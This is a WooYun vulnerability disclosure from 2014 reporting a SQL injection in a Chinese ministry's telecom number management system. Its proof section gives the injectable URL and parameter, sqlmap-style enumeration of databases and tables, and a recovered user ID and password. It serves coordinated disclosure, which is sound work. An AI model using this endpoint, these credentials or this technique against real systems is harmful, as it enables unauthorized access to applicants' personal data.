当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-084955

漏洞标题：电信网码号管理系统注射一枚可导致全国申请人信息泄露

相关厂商：工信部某系统

漏洞作者： 雅柏菲卡

提交时间：2014-11-27 17:33

修复时间：2015-01-11 17:34

公开时间：2015-01-11 17:34

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-27： 细节已通知厂商并且等待厂商处理中
2014-12-01： 厂商已经确认，细节仅向厂商公开
2014-12-11： 细节向核心白帽子及相关领域专家公开
2014-12-21： 细节向普通白帽子公开
2014-12-31： 细节向实习白帽子公开
2015-01-11： 细节向公众公开

简要描述：

...............

详细说明：

..........

漏洞证明：

http://www.miinac.gov.cn/mydownFile?id=200038151&flash=yes 
注射点mydownFile?id=
available databases [20]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] EXT
[*] EXTEL
[*] MDSYS
[*] NTS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TELNUMBER
[*] TEST
[*] TSMSYS
[*] WMSYS
[*] XDB
Database: EXTEL
[93 tables]
+--------------------------+
| ADJUSTWFCHECKINFO        |
| ADJUSTWORKFLOWINFO       |
| BASE_BILL                |
| BASE_DO                  |
| BASE_FLOW                |
| BASE_FLOW1               |
| BASE_FLOW_ACT            |
| BASE_FLOW_ACT1           |
| BASE_QUERY               |
| BILL_1                   |
| BILL_LOG                 |
| C_AUTHORIZATION          |
| C_BAD_RECORD             |
| C_BILLAUTHORITY          |
| C_BILL_LOG               |
| C_CODE                   |
| C_CODEEXTEND             |
| C_DIC                    |
| C_FOLDERALL              |
| C_GROUP                  |
| C_IPINFO                 |
| C_IPINFO_TMP             |
| C_LINKNAME               |
| C_LOCATION               |
| C_MIIACCOUNT             |
| C_MIIBILLDATE            |
| C_MIIBILLING             |
| C_MIIBILLLACK            |
| C_MIIBILLPAY             |
| C_MIICODE                |
| C_MIICODEFEERATE         |
| C_MIICODELIFESTAGEALL    |
| C_MIICODE_CHANGE         |
| C_MIICUSTOMER            |
| C_MIICUSTOMERTMP         |
| C_MIICUSTPAYINFO         |
| C_MIIFEESTANDARD         |
| C_MIINOTICEALL           |
| C_MIIORDER               |
| C_MIIPLAN                |
| C_MIIPLANUSAGE           |
| C_MIIPROJECT             |
| C_MIIQUALIFICATION       |
| C_MIIRATESTANDARD        |
| C_MIITEMPLATEFILE        |
| C_NOTICETYPE             |
| C_OPENINF                |
| C_PROVINCEREPORTS        |
| C_RELATION               |
| C_USER                   |
| EXCHANGE_TRI             |
| EXCHANGE_TRI_BACK        |
| EXPCMORDERINFO           |
| EXPORDERCHECK            |
| EX_INS_TRI_IN            |
| EX_MIDDLE_INSERT_TRIGGER |
| EX_UP_TRI_IN             |
| EX_UP_TRI_OUT            |
| EX_Y_CODE_OLD            |
| LOGGING_EVENT            |
| LOGGING_EVENT_EXCEPTION  |
| LOGGING_EVENT_PROPERTY   |
| MME_DICTIONARY           |
| MONTHLY_FEE              |
| MONTHLY_FEE_LOG          |
| M_CLCOMPARE              |
| M_CUSTOMER_GROUP         |
| M_GROUP_CUSTOMER_LINK    |
| M_LOG                    |
| M_LOG_CUSTOMER           |
| M_LOG_HISTORY            |
| M_LOG_INTEGRATION        |
| M_RELATION               |
| M_SWITCH                 |
| M_SWITCH_SEND            |
| M_TBLCOMPARE             |
| M_TEMPLATE               |
| M_TYPE_NEW               |
| R_NOTICE_USER            |
| R_PLAN_LOCALAREA         |
| R_USER_GROUP             |
| TEMP_NUM                 |
| TMP_CU                   |
| TMP_YC                   |
| TMP_YL                   |
| T_DOMAIN_NAME            |
| YEARCHECKCONFIG          |
| Y_CODEADJUST             |
| Y_CODEEXTEND             |
| Y_CODELICENSENUMBER      |
| Y_CODEUSAGE              |
| Y_CODE_ALL               |
| Y_LICENSENUMBER          |
+--------------------------+
以下为部分的运行记录
[15:19:49] [INFO] retrieved: 3442336
[15:19:49] [INFO] retrieving the length of query output
[15:19:49] [INFO] retrieved:
[15:19:50] [INFO] retrieved:
[15:20:10] [INFO] retrieving the length of query output
[15:20:10] [INFO] retrieved:
[15:20:12] [INFO] retrieved:
[15:20:22] [INFO] retrieving the length of query output
[15:20:22] [INFO] retrieved: 6
[15:20:30] [INFO] retrieved: 123456
通过猜测
可以知道用户名 3442336 密码 123456
QQ截图20141127144426.png







QQ截图20141127144458.png

修复方案：

............

版权声明：转载请注明来源 雅柏菲卡@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-12-01 17:10

厂商回复：

最新状态：

暂无

漏洞评价：

评论